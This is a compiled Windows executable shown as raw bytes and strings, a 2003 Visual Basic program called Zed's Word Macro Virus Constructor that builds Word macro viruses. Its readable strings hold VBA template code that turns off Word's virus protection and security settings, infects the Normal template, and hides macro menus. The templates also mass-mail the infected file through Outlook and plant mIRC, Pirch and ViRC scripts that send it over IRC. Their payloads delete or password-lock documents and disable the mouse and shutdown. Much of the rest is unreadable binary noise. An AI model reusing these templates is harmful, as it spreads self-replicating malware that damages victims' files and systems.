MZ@ !L!This program cannot be run in DOS mode. $뗈뗈뗈H뗈뗈"뗈Rich뗈PELI>  $ @@K(0l( h.text `.data  @.rsrcl00@@H[ 6MSVBVM60.DLLτf!fv[ff&fB f f!fK'fgf$fff f_ f'fI*fff("fJafff$ffff"f [fZqfffL6ffшffffffS'f1_ffR%f2f6fgf!ff$8fPffbfKf^f=fKffffffDffVfAf$)fؗf !ff%f)fH"fS$ff f[ffmbfv f[f9f fH%ffq#fff0fR@Y@ @@@@@@(@/@@@@%AA@*@@@@@@_@@9@@@@@Z@@4@@@@@m@@V@@9@@@@@x@@^@@D@@*AAAAAiAA'BB B@uA|AAAA ATAAKAAAAFAFAAAA'A[AAA A% AR AT A A A A A5 Ab A A A A A`AAAAAA<ApAAAA9AAAAAAABAwAAA A@AtA7AAAA2A2A}AAAAGA{AArAA>A@AmAmAAA!ANAAAAALAyA{AAA A(!A\!A!A!A!A%"A"A#A#A#A#A#A.%Ac%A%A%A%A,&A`&A#'A'A'A'A(A(Ai)A)A)A)A3*Ag*A*A^+A+A*,A,,AY,AY,A-A-A .A:.An.A.A.A/A80Ae0Ag0A0A0A1A2AH2Au2A2A2A3A3As4A4A4A4A4A6AO6A6A6A6A7AL7A8A8A8A8A 9A 9AU:A:A:A:A;AS;A;AJA>A>A&?AZ?A?A?A@A$AAQAASAAAAAABACA4CAaCACACACADA_EAEAEAEAEAGA;GAoGAGAGAHA8HAHAIAIAIAIAIAAKAvKAKAKA LA?LAsLA6MAMANANA1NA1NA|OAOAOAPAFPAzPAPAqQARA=RA?RAlRAlRASASATAGTA{TATATAUAEVArVAtVAVAVAWA!XAUXAXAXAXAYAYAZAZAZAZAZA'\A\\A\A\A\A%]AY]A^A^A^A^A_A_Ab`A`A`A`A,aA`aAaAWbAbA#cA%cARcARcAdAdAeA3eAgeAeAeAfA1gA^gA`gAgAgAhAiA;iAhiAiAiAjAjAfkAkAkAkAkA mABmAvmAmAmA nA?nAoAoAoAoAoAoAHqA}qAqAqArAFrAzrA:sAsAtAtA5tA5tAuAuAuAvAGvA{vAvArwAxA>xA@xAmxAmxAyAyA!zANzAzAzAzA{AL|Ay|A{|A|A|A}A(~A\~A~A~A~A%AAAAAAA.AcAAĂAA,A`A#A„AAAAAiAA҆AA3AgAA[AA'A)AVAVAAӊAA4AhAAЋAA2A_AaAAAَAABAoAA׏A AΐAmAAAɑAɑAAIA}AAޓAAFA AAՕAוAAAOAAAAAMAADAAAA?A?AAAA ATAAAAAKAMAzAzAşAA.A[AAàAAAYAAAAAA5AiAAʤAA2AAAAæAAA;ApAAѨAA9AmA0AϪAAA+A+AvAA߬A A@AtAAkA A7A9AfAfAAAAGA{AAAAEArAtAAAA!AUAAAAAAAAAܷAܷA'A\AAAA%AYAAAAAAAbAA˽AA,A`AAWAA#A%ARARAAAA3AgAAAA1A^A`AAAA AAAnAAA AAlAAAAAAHA|AAAAEAAAAAAANAAAAAAAAAAAAeAA6BBBBBBBBBBBBBB'B0B5B6B8B8B8BL{B>{B|B5|B5|B|B,}B,}BBBǀBBBBՁBՁBBBBjBBBKBxBxB0BBφBBaBڈBڈBBBBBҊBBB*BBBBBBBBBB*B*B$BBBBBBƚBBBBBBЛBB BBܜBܜBBB6BTBrB*BBbqMacroGen1vCg>bqDg>bq:O3f `ӓ&frmMain =Zed's Word Macro Virus Constructor (ZWMVC) version 1.0 by ZedB"#>lt6 &(( @  88?px8p x88?p󃇈px8x 󋇋w88ppw8?ww8xpwpwwwpwpwwp??(   $frmMain&5-JnF5fraIRC IRC options O n:chkVircSpread via Vircx u, txtPirchTextx t<chkPirchSpread via Pirchx'r:chkMircSpread via Mircxhp+ txtMircTextx o>Label40Pirch message text:xs=Label39Mirc message text:xqE fraConstructConstruct macro virus i dirPathx  l drvPathx ; kO cmdConstruct&Construct Macrox jDB MS Sans SerifF fraPayloadTPayload trigger options XtxtPayTQuantityx0 ; c 5203050701002755007251000! 00000000004 optPayTRndRandomx a txtPayTMonth(; ` All123456789101112! 0000000000000 txtPayTDayx; _ All12345678910111213141516171819202122232425262728293031! 000000000000000000000000000000003 optPayTDateDatex(\; optPayTExec On executionx7[5 optPayTNoneNonexXZ4Label34 Quantity:x@ gb1Label33Month:(^/Label32Day:xw]TLabel31Payload trigger:xY%DB MS Sans Serif= fraOutlookOutlook Options O NVtxtOutlookTextx  $Look at the file in the attachments!WV txtImportance ; VHighNormalLow!000D chkSendOnceOnly send emails oncexTC chkMailerInfect outgoing emailsxpSEtxtOutlookSubjxH  Fwd: Check this outR@ chkOutlookSpread via OutlookxO< Label30Email importance:x 7U6!Label29 Email text:xQ9"Label28Email subject:xXGP?#cmdExitE&xit`BDB MS Sans SerifH$fraPayloadPropertiesPayload settings J%fraPAMsgWord assistant message optionsx? =5& txtPAMsgTextxX/  hello?' txtPAMsgIcon(; >AlertAlert Critical Alert Info Alert Query Alert WarningTip!00000008(Label21 Message text:xhGA8)Label22 Message Icon:xG@>*fraPMsgMessage box optionsx? 4=+ txtPMsgTextxX  Critical error89, txtPMsgTitlex  Yet again7-txtPMsgButtons; 6Abort, Retry, IgnoreOK OK, Cancel Retry, CancelYes, NoYes, No, Cancel!0000000. txtPMsgIcons; 5 Critical Exclamation InformationQuestion!000008/Label17 Message text:xhG<90Label18Message title:x;;1Label19Message buttons:x7:92Label20Message icons:x9F3fraPPropChange document propertiesx? '24 txtPPropAuth_  me,<5 txtPPropSubjX_  nothing much+76 txtPPropTitle_  hehehe*:7 txtPPropKeywd(_  blablabla)F8txtPPropComments_  document is boring(29Label10Author:xg33:Label11Subject:xX21;Label12Title:xw14<Label13 Keywords:x(W04=Label14 Comments:xW/0>Label15Note:xp.m?Label16BIf you leave a field blank, it will not be used in the macro code.x` -=@fraPPassPassword documentx? #2AtxtPPassxX  hehehe%GBchkPPassRandomPWUse random passwordx$<CLabel9Document password:xh'&FD fraPWinNameChange Windows usernamex?  FE txtPWinNamexX  Square Bob sponge pants!?FLabel8New Windows username:xh"DG fraPWordNameChange Word usernamex? 4H txtPWordNamexX  hehe<ILabel6New Word username:xh''JLabel27X/ MVKLabel7Payload properties:%DB MS Sans Serif=L fraStealthStealth options WQMchkDisableMenusDisable macro-accessible menusx_ KNLabel5Stealth:x%DB MS Sans Serif>OfraInfMacro infection hook W`P txtMacroExecx; Document Close Document Open!00RQLabel3Infection hook:x%DB MS Sans Serif=R fraGeneralGeneral options  ;S txtMacroName8?  ZWMVC_Macro2T txtYourName?  ZedIULabel35NOTE:ge%DB MS Sans SerifVLabel36Only characters from a-z, both upper case and lower case are to be used in the virus name. The virus name cannot contain spaces and must be less than 20 characters in length. An incorrect virus name will cause the virus not to work. dNWLabel2 Virus name:H%DB MS Sans SerifMXLabel1 Your name:G%DB MS Sans Serif4YfraMain Main menuXZ optConstructConstruct virusxmDB MS Sans SerifN[optIRC IRC optionsxhDB MS Sans SerifV\ optOutlookOutlook optionsxHDB MS Sans SerifW] optPayloadTPayload triggerxGDB MS Sans SerifN^ optPayloadPayloadxFDB MS Sans SerifN_ optStealthStealthxEDB MS Sans SerifQ`optInfInfection hookxDDB MS Sans SerifXa optGeneralGeneral optionsxCDB MS Sans SerifAbfraPayloadMenuPayload options Dc optPNoCloseDisable shutdown menux  AdoptPAMsgAssistant message boxx  6eoptPMsg Message boxx  If optPDocPropChange document propertiesx o  @g optPCDTrayOpen/Close CD trayx  <h optPRndGames Random gamesx@i optPPassDocPassword documentx=j optPDelDocDelete documentxFk optPWinNameChange Windows usernamexDl optPWordNameChange Word usernamex(<m optPNoMouse Disable mousex8;n optPRndCol Random colorsxH2ooptPNoneNonexXKpLabel4Payload:xW%DB MS Sans SerifqLabel38DO NOT overflow text fields. Text filelds must not contain more that 100 characters (except for the outlook email text). Overflowing text fields will cause the virus not to work. ggIrLabel37NOTE: gf%DB MS Sans SerifZsLabel26/These symbols will cause the virus not to work. / LUtLabel25\ / : * ? " < > | H7wK% MS Sans SerifluLabel24ADO NOT include any of the following characters in any text field: h JIvLabel23NOTE: xgI%DB MS Sans SerifPCg>bq;;'8%@LVB5!*~ XM@3tL@tL@$@xMacroGenZWMVCMacroGen@@C|  C"@ C*\AC:\Program Files\Microsoft Visual Studio\VB98\MacroGen\MacroGen.vbptL@@P@ܒ@ CP` P@@ P@P@P@wP@!hlb@"C _ȓ@ؓ@@4@0c@'_@@8t@[c@'_@[@<@ (d@$'_@ @@@0d@4'_@0@D@1d@4'_Ĕ@1@ H̔@YDe@D'_ܔ@Y@L@;e@4'_@;@P@<e@4'_@<@T@9Pf@4'_@9@X@:f@4'_@:@\@?g@4'_@?@`@/pg@4'_ @/@d@=g@4'_@=@h@>0h@4'_@>@l@#h@$'_$@#@pt@^h@'_,@^@t@tPi@4'_8@t@x@si@4'_@@s@|t@\j@'_H@\@@vtj@4'_T@v@@uj@4'_\@u@t@]4k@'_d@]@@(k@4'_p@(@@)k@4'_x@)@@2Xl@4'_@2@t@_l@'_@_@@m@4'_@@t@a|m@'_@a@@Um@4'_@U@@q@n@4'_@q@@Vn@4'_@V@@ro@4'_@r@@F`o@4'_ȕ@F@@Co@4'_Е@C@@p p@4'_ؕ@p@@Np@4'_@N@@Ip@4'_@I@@K@q@4'_@K@@Xq@4'_@X@@Wr@4'_@W@@Q`r@4'_@Q@t@`r@'_@`@t@Z$s@'_@Z@(@Ss@T'_8@S@(@Tt@T'_H@T@T@xt@d'_d@@@t@4'_l@@(@8u@T'_t@@t@lu@'_@l@T@v@d'_@@(@tv@T'_@@t@mv@'_@m@(@Pw@T'_@@@!w@4'_Ȗ@!@ T@(x@d'_Ж@@t@ix@'_ܖ@i@t@jx@'_@j@@ Py@4'_@ @@"y@4'_@"@ (@4z@T'_@4@$T@z@d'_@@((@5z@T'_ @5@,(@8`{@T'_0@8@0T@B{@d'_D@B@4(@68|@T'_X@6@8t@e|@'_h@e@<@}@4'_p@@@t@ht}@'_x@h@D(@,}@T'_@,@Ht@dP~@'_@d@Lt@g~@'_@g@Pt@n@'_@n@T@ |@t'_З@ @Xt@@'_ؗ@@\t@c8@'_@c@`t@@'_@@dt@@'_@@ht@d@'_@@lt@kȁ@'_@k@p(@A,@T'_ @A@ t̔@@D'_,@@ x̔@ @D'_4@ @ |̔@<@D'_D@@ ̔@b@D'_P@b@ ̔@Oԃ@D'_`@O@T@ @d'_h@@ ̔@$@D'_t@$@ ̔@Ḡ@D'_@G@ ̔@D@D'_@D@ ̔@@d@D'_@@@ ̔@3@D'_@3@ ̔@*@D'_@*@Ș@H@'_ؘ@@T@@d'_@@Ș@- @'_@-@Ș@.p@'_@.@(@&ԇ@T'_@&@t@fL@'_ @f@@J@4'_,@J@Ș@'@'_4@'@@t@4'_H@@@ԉ@4'_P@@Ș@4@'_X@@Ș@@'_d@@@@4'_t@@Ș@\@'_|@@(@+@T'_@+@ ̔@R8@D'_@R@Ș@P@'_@P@T@M@d'_@M@(@HH@T'_ę@H@(@E@T'_ԙ@E@(@78@T'_@7@(@@T'_@@ ̔@ (@D'_@ @ ̔@%t@D'_ @%@@ @'_(@ @t@o(@'_0@o@ ̔@L@D'_<@L@@@@@!@.@;@H@U@b@o@|@@@@@@ʑ@ב@@@@ @@%@2@?@L@Y@f@s@@P@O@$@$@$@&@bq ܒ@@  O@H@@! @MacroGenfrmMainDg>bqIg>bqCg>bqHg>bq:O3f `ӓForm.=h8+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLBVB@ @H@"C_O3f `ӓoptIRCN3f `ӓcmdConstructN3f `ӓLabel18Label19N3f `ӓfraMainLabel12Label13Label10Label11Label16Label17Label14Label15cmdExitoptPayloadLabel25Label26optOutlookLabel23Label24optPayloadTLabel21Label22Label20optStealthLabel31optGeneralLabel35Label38Label36Label37Label8Label9Label4Label5Label6Label7Label1Label2Label3optInfoptConstructN3f `ӓtxtMacroNametxtYourNameN3f `ӓchkMircLabel39txtMircTextoptPWordNamechkOutlooktxtOutlookSubjoptPNoMousetxtOutlookTextLabel29chkSendOnceoptPPassDocoptPDelDocLabel30Label28txtPPropAuthchkPirchtxtPPropSubjtxtPPropCommentschkPPassRandomPWtxtPPropTitleoptPMsgLabel40optPRndGamestxtPMsgTitleoptPAMsgoptPCDTrayoptPRndColRO3f `ӓdrvPathoptPayTNoneoptPNoCloseoptPayTExecoptPayTDateoptPayTRndoptPWinNametxtPPassfraIRCfraConstructfraOutlookfraPayloadMenufraInfchkMailerfraPayloadPropertiesfraPWordNamefraPWinNamefraPPassfraPPropfraPMsg O3f `ӓtxtImportancechkVirctxtPMsgButtonstxtPMsgIconstxtPAMsgTextoptPDocPropLabel27txtPAMsgIconLabel32Label33txtPayTDaytxtPayTMonthLabel34txtPayTQuantitytxtPMsgTextfraGeneraltxtMacroExecchkDisableMenustxtPWordNametxtPWinNametxtPPropKeywdtxtPirchTextfraPayloadTfraPAMsgZO3f `ӓdirPathoptPNonefraStealth N3f `ӓN3f `ӓN3f `ӓ O3f `ӓ<Are you sure you want to exit? ZWMVCQO3f `ӓ\YO3f `ӓN3f `ӓDocument OpenOK, CancelExclamation Normal <None>$' WordMacro/ZWMVC. constructed by , 8Private Sub Document_Close()6Private Sub Document_Open()Document CloseLIf Options.VirusProtection = True Then F Options.VirusProtection = False End IfRIf Options.ConfirmConversions = True ThenL Options.ConfirmConversions = False> = Array("Level", "AccessVBOM")NIf Options.SaveNormalPrompt = True ThenH Options.SaveNormalPrompt = Falsef = "HKEY_CURRENT_USER\Software\Microsoft\Office\" _P& Application.Version & "\Word\Security"For  = 0 To 1  = ()H System.PrivateProfileString("", ) = 1& Next  = 0 To 2z = Array("Macro", "Templates and Add-Ins...", "Customize...")J If CommandBars("Tools").Controls(*).Enabled = True ThenL CommandBars("Tools").Controls(").Enabled = False End IfD = Array("Toolbars", "Status Bar")H If CommandBars("View").Controls(J CommandBars("View").Controls(H = Array("Macros...", "Security...")J If CommandBars("Macro").Controls(L CommandBars("Macro").Controls(If CommandBars("Format").Controls("Style...").Enabled = True Then| CommandBars("Format").Controls("Style...").Enabled = FalseSet V = ActiveDocument.VBProject.VBComponents(1) MsgBox V = NormalTemplate.VBProject.VBComponents(1)If .Name <> Then Set .CodeModule .DeleteLines 1, .CountOfLines .InsertLines 1, .Lines(1, .CountOfLines).Name = . NormalTemplate.Save> NormalTemplate.Saved = True> = Left(ActiveDocument.Name, 8) <> "Document" And IsNumeric(Right(ActiveDocument.Name, 1)) = False Thenv ActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElse.CreateItem(0) .Body> ActiveDocument.Saved = TrueHigh21Low0 = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProgramFilesDir") = 1 To @.GetDefaultFolder(4).Items.Count = 1@.GetDefaultFolder(4).Items.Item( If .To <> "" Then .To = .To.CC <> "" Then .CC = .CC .BCC <> "" Then .BCC = .BCC With & .Subject = .Subject .Body = ` .Attachments.Add ActiveDocument.FullName, .Importance = .ImportanceB .DeleteAfterSubmit = True .Send End WithF.GetDefaultFolder(4).Items.Remove ( + 1 = 0 To 3vbQuestionB = Array("C:\Mirc", "C:\Mirc32",  & "\Mirc",  & "\Mirc32") If Dir(2, vbDirectory) <> "" Then Open @ & "\Script.ini" For Output As 18 Print #1, "[script]"J Print #1, "n5= on 1:JOIN:#:{"j Print #1, "n6= /if ( $nick == $me ) { halt }"D Print #1, "n7= /msg $nick Print #1, "n8= /dcc send -c $nick " & ActiveDocument.FullName2 Print #1, "n9= }" Close 1$ VBA.Shell F = Array("C:\Pirch", "C:\Pirch32",  & "\Pirch",  & "\Pirch32")@ & "\Events.ini" For Output As 28 Print #2, "[Levels]": Print #2, "Enabled=1"6 Print #2, "Count=6"@ Print #2, "EventCount=0"N Print #2, "Level1=000-Unknowns"R Print #2, "000-UnknownsEnabled=1"P Print #2, "Level2=100-Level 100"T Print #2, "100-Level 100Enabled=1"P Print #2, "Level3=200-Level 200"(.GetSpecialFolder(0)T Print #2, "200-Level 200Enabled=1"P Print #2, "Level4=300-Level 300"T Print #2, "300-Level 300Enabled=1"P Print #2, "Level5=400-Level 400"T Print #2, "400-Level 400Enabled=1"QuestionP Print #2, "Level6=500-Level 500"T Print #2, "500-Level 500Enabled=1"( Print #2, ""D Print #2, "[000-Unknowns]"> Print #2, "UserCount=0"^ Print #2, "Event1=ON JOIN:#:/msg $nick F Print #2, "[100-Level 100]"> Print #2, "User1=*!*@*"> Print #2, "UserCount=1" Print #2, "Event1=ON JOIN:#:/dcc send $nick " & ActiveDocument.FullName@ Print #2, "EventCount=1"vbOKOnlyF Print #2, "[200-Level 200]"F Print #2, "[300-Level 300]"F Print #2, "[400-Level 400]"F Print #2, "[500-Level 500]" Close 2B = Array("C:\Virc", "C:\Virc32",  & "\Virc",  & "\Virc32")L System.PrivateProfileString("", "HKEY_USERS\.Default\Software\MeGALiTH Software\Visual IRC96\Events", "Event17") = "dcc send $nick " & ActiveDocument.FullNameO3f `ӓ6 Application.UserName = Do Randomize = SysSysColors(Int((255 * Rnd) + 1), Int((255 * Rnd) + 1), Int((255 * Rnd) + 1)) Loop Until = 21& ClipCursor NullV, NoReset:=False, Type:=wdAllowOnlyComments For 6 = 1 To Int((Rnd * 16 + 1)) .Execute System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = Selection.WholeStory: Selection.Delete Unit:=wdCharacter, Count:=1J ActiveDocument.Protect Password:=L If Int((2 * Rnd) + 1) = 1 Then = 65 Else = 97 End If , & Chr(Int(Rnd * 26 + )) Next Z = CreateObject("Scripting.FileSystemObject") .Keywords = D Select Case Int((4 * Rnd) + 1) Case 1:  = "Sol.exe" Case 2: " = "Freecell.exe" Case 3: " = "Mshearts.exe" Case 4: = "Winmine.exe" End Select & "\" & ) <> "" Thent mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0&x mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0&R With Dialogs(wdDialogFileSummaryInfo) .Author =  .Title =  .Subject = .Comments = (Abort, Retry, Ignore$vbAbortRetryIgnoreOKvbOKCancelRetry, CancelvbRetryCancelYes, NovbYesNoYes, No, CancelvbYesNoCancelCriticalvbCriticalvbExclamationInformationvbInformation$, vbSystemModal +  + 8, vbSystemModal + vbOKOnly, msoIconNone AlertmsoIconAlertAlert Critical(msoIconAlertCriticalAlert Info msoIconAlertInfoAlert Query"msoIconAlertQueryAlert Warning&msoIconAlertWarningTipmsoIconTip: With Assistant.NewBalloon .Text =  .Icon =  .Show* * Rnd) + 1) = 3 Then stringthisdocumentL = CreateObject("Outlook.Application")If Not SaveAs System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose") = 1&If Day(Now) = $ And Month(Now) = All If Month(Now) = RandomizeIf Int((The virus name you have chosen is incorrect. Please change the virus name in order to construct the macro virus.You cannot select a payload/payload trigger without a payload trigger/payload selected.C:\ZWMVC_TempC:\ZWMVC_Temp\Only characters from a-z, both upper case and lower case are to be used in the virus name. The virus name must be less than 20 characters in length. An incorrect virus name will cause the virus not to work. Error.clsPlease choose no payload and no payload trigger or choose a payload and a payload trigger.Don't select your payload to be triggered every day of every month.Choose your payload to be triggered upon execution, or don't use a payload.Private Declare Function SetSysColors Lib "user32" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As LongPrivate Declare Function ClipCursor Lib "user32" (lpRect As Any) As LongEMT = EMT & ) = "" ThenPrivate Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long(On Error Resume Next = "" Then*.GetNameSpace("MAPI")> = "HKEY_CURRENT_USER\Software\\StoredEmails" For B.GetDefaultFolder(10).Items.Count Set B.GetDefaultFolder(10).Items.Item(V If System.PrivateProfileString("", FileName& Set Eml2 =  With Eml2 .To = & .Body = EMTP System.PrivateProfileString("", $) = TimeValue(Now)End Sub' Macro virus constructed by Zed's Word Macro Virus Constructor (ZWMVC) v1.0 Word.Application4Scripting.FileSystemObjectVisibleDocumentsAddActiveDocumentVBProjectVBComponentsCodeModuleNameOpenTextFileCountOfLinesDeleteLinesAtEndOfStreamReadLineInsertLines.docClose6Macro virus constructed as ApplicationQuitIt appears that Microsoft Word is not installed on this computer. Would you like to construct the source code file instead?:No payload has been selected.35__vbaVarLateMemCallLdbThere are no settings available for this payload.VBA6.DLL__vbaLateMemNamedCall__vbaObjVar__vbaLateMemCall__vbaVarLateMemCallLdRf__vbaVarLateMemSt__vbaVarSetVar__vbaFileClose__vbaVarSub__vbaVarTstEq__vbaLenVar__vbaVarTstGt__vbaLenBstr__vbaPrintFile__vbaFileOpen__vbaVarCmpEq__vbaVarOr__vbaBoolVarNull__vbaStrCmp__vbaFreeObjList__vbaFreeStrList__vbaStrMove__vbaStrCat__vbaVarForNext__vbaVarAdd__vbaVarInt__vbaI4Var__vbaFpR4__vbaFPInt__vbaVarForInit__vbaVarCopy__vbaOnError__vbaFreeStr__vbaStrVarVal__vbaVarCat__vbaFreeVar__vbaVarTstNe__vbaVarMove__vbaEnd__vbaFreeVarList__vbaVarDup__vbaFreeObj__vbaHresultCheckObj__vbaObjSetP@O@@L@L@L@@L@L@@"CL@t@"CL@@"CL@@"CL@̔@"CL@(@"CL@T@"CL@@"CL@Ș@"CL@@"CU h"@dPd%SVWeEh@uƃEVuQ3VEE =T@PEP׋؍URS }hhT@SP<@3f}MX@VftbMPQ׋jS}hhd@SP<@X@MӋVMPQ׋jV}t`MPQ׋jS}hhd@SP<@X@MӋVMPQ׋jV}hht@VP<@MEhd@ MX@ËEPQEM_^d []U h"@dPd%SVWeEx@uƃEVuQ3VEEt=T@PEP׋؍URS }hhT@SP<@X@3f}M؉Ef}VpUPR׋jPE}Uhht@RP<@MӋV`MPQ׋jPE}Mhht@QP<@MӋVPEP׋jPE}Uhhd@RP<@MӋV|MPQ׋jPE}Mhhd@QP<@MӋVhPEP׋jPE}UhhT@RP<@MӋVlMPQ׋jPE}MhhT@QP<@MӋVxPEP׋jPE}Uhhd@RP<@MӋVdMPQ׋jVVpMPQ׋jPE}Mhht@QP<@MӋV`PEP׋jPE}Uhht@RP<@MӋVMPQ׋jPE}Mhhd@QP<@MӋV|PEP׋jPE}Uhhd@RP<@MӋVhMPQ׋jPE}MhhT@QP<@MӋVlPEP׋jPE}UhhT@RP<@MӋVxMPQ׋jPE}Mhhd@QP<@MӋVdPEP׋jV}hh@VP<@MEh@ MX@ËEPREM_^d []U h"@dPd%SVWeE@uƃEVuQ3VEE=T@PEP׋؍URS }hhT@SP<@3f}MX@VftbMPQ׋jS}hhd@SP<@X@MӋVMPQ׋jV}t`MPQ׋jS}hhd@SP<@X@MӋVMPQ׋jV}hht@VP<@MEh@ MX@ËEPQEM_^d []U h"@dPd%SVWeE@uƃEVuQ3VEET@PEPӋURW}hhT@WP<@3f}M؋X@Vft"UPRӋjV}4 UPRӋjV}hht@VP<@MX@Eh@ MX@ËEPQEM_^d []U h"@dPd%SVWeE@EȃM$PER= @3M MĻuuuUM̉u܉ủuEEEܚ@]׍UME@]׍EMPUQREj$PX@3ɃٍUERMPUQRj@f;t @uhL@EMPUQERPj@ËEPQEM_^d []U h"@dPd%\SVWeE@uƃEVuQ3V]܉]؉]ԉ]ĉ]]$PEPT@URW;}hh@WP<@E؍UčM܉]؉EE@MX@EjMPQ<@UčERPE@E@Mf@f;t+M܍UQERPE@E@ЍM@V UPRT@E܍MP>Q@PV;}hh@VP<@M\@MX@]h@&M\@MX@UERPj@ ÍM@ËEPQEM_^d []Uh"@dPd%m1SVWeE@EEMMEUMQPEEj\@EUMQ@PURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQ\PURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQ4PURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@E UMQ(PURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@E UMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@E UMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@E UMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@E UMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@EjE؋UREԃ}}hh@EPMQ<@EEMX@EUMQ8PURT@Eh$@E؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@EhD@E؋UREԃ}}hh@EPMQ<@EEMX@EUMQPURT@Eh`@E؋UREԃ}} hh@EPMQ<@| Dž|MX@EUMQdPURT@Eh|@E؋UREԃ}} hh@EPMQ<@x DžxMX@EUMQPURT@Eh@E؋UREԃ}} hh@EPMQ<@t DžtMX@EUMQ,PURT@EjE؋UREԃ}} hh@EPMQ<@p DžpMX@EUMQ PURT@Eh@E؋URQTEԃ}}jThd@EPMQ<@l DžlMX@EUMQpPURT@EjE؋UREԃ}} hht@EPMQ<@h DžhMX@EUMQ`PURT@EjE؋UREԃ}} hht@EPMQ<@d DždMX@EUMQPURT@EjE؋UREԃ}} hhd@EPMQ<@` Dž`MX@EUMQ|PURT@EjE؋UREԃ}} hhd@EPMQ<@\ Dž\MX@EUMQhPURT@EjE؋UREԃ}} hhT@EPMQ<@X DžXMX@EUMQlPURT@EjE؋UREԃ}} hhT@EPMQ<@T DžTMX@EUMQxPURT@EjE؋UREԃ}} hhd@EPMQ<@P DžPMX@EUMQdPURT@EjE؋UREԃ}} hh@EPMQ<@L DžLMX@E UMQTPURT@EjE؋UREԃ}} hhd@EPMQ<@H DžHMX@E!UMQPPURT@EjE؋UREԃ}} hhd@EPMQ<@D DžDMX@E"UMQ<PURT@EjE؋UREԃ}} hh@EPMQ<@@ Dž@MX@E#UMQ8PURT@EjE؋UREԃ}} hh@EPMQ<@< Dž<MX@E$UMQLPURT@EjE؋UREԃ}} hhd@EPMQ<@8 Dž8MX@E%UMQ0PURT@EjE؋UREԃ}} hh@EPMQ<@4 Dž4MX@E&UMQPURT@EjE؋UREԃ}} hhd@EPMQ<@0 Dž0MX@E'UMQPURT@EjE؋UREԃ}} hht@EPMQ<@, Dž,MX@E(UMQPURT@EjE؋UREԃ}} hhd@EPMQ<@( Dž(MX@E)UMQPURT@EjE؋UREԃ}} hht@EPMQ<@$ Dž$MX@EhA MX@ËUMQPEMd _^[]Uh"@dPd%SVWeE@EEMMEUMQPEEj\@EDžDDž< L@h@$!@@t Dž Džfd<@dt/EDžADž@@-EDžaDž@@EDžDž RL@ٝhDžDDž< DžADž@@-E@DžaDž@@EBDžDž RL@ٝhDžDDž< DžDDž< DžQ@R,P@PQ@P@P R@!@؍h$!@ A>L@ٝDž|`P QR@P|PQ@Ѝ`@RP Q,RQR0PP@\\E?DžDDž< Rjh@@@ E?EURtP\PT@dxQddQ≅``}&hhT@dR`P<@ Dž3fxf\\X@\E@Dž(@DžDž\@DžPQNQR`Sn~x1,:N\r|`.HVhz@d(6Fi^hkx"DMSVBVM60.DLL__vbaVarTstGt__vbaVarSub_CIcos_adj_fptan__vbaVarMove__vbaFreeVar__vbaLenBstr__vbaFreeVarList__vbaEnd_adj_fdiv_m64__vbaFreeObjList_adj_fprem1__vbaStrCat__vbaHresultCheckObj__vbaLenVar_adj_fdiv_m32__vbaVarForInit__vbaObjSet__vbaOnError_adj_fdiv_m16i_adj_fdivr_m16i__vbaFpR4__vbaBoolVarNull_CIsin__vbaChkstk__vbaFileCloseEVENT_SINK_AddRef__vbaStrCmp__vbaVarTstEq__vbaObjVar__vbaVarOr__vbaVarLateMemSt_adj_fpatanEVENT_SINK_Release_CIsqrtEVENT_SINK_QueryInterface__vbaExceptHandler__vbaPrintFile_adj_fprem_adj_fdivr_m64__vbaFPException__vbaStrVarVal__vbaVarCat_CIlog__vbaFileOpen__vbaVarLateMemCallLdRf__vbaVarInt_adj_fdiv_m32i_adj_fdivr_m32i__vbaFreeStrList__vbaLateMemNamedCall_adj_fdivr_m32_adj_fdiv_r__vbaVarTstNe__vbaVarSetVar__vbaI4Var__vbaVarCmpEq__vbaVarAdd__vbaLateMemCall__vbaVarDup__vbaVarCopy__vbaVarLateMemCallLd_CIatan__vbaStrMove_allmul_CItan__vbaFPInt__vbaVarForNext_CIexp__vbaFreeObj__vbaFreeStrI>X@(I>xI>I>1u2uI> I>I>I> 184$\4(54VS_VERSION_INFODVarFileInfo$Translation xStringFileInfoT040904B0, CompanyNamerRlfd:FileDescriptionWord Macro virus constructor`<LegalCopyrightCopyright Zed/[rRlf], 2003.xVProductNameZed's Word Macro Virus Constructor (ZWMVC), FileVersion1.000 ProductVersion1.004InternalNameMacroGenDOriginalFilenameMacroGen.exe 1u(2u(   ( @  88?px8p x88?p󃇈px8x 󋇋w88ppw8?ww8xpwpwwwpwpwwp??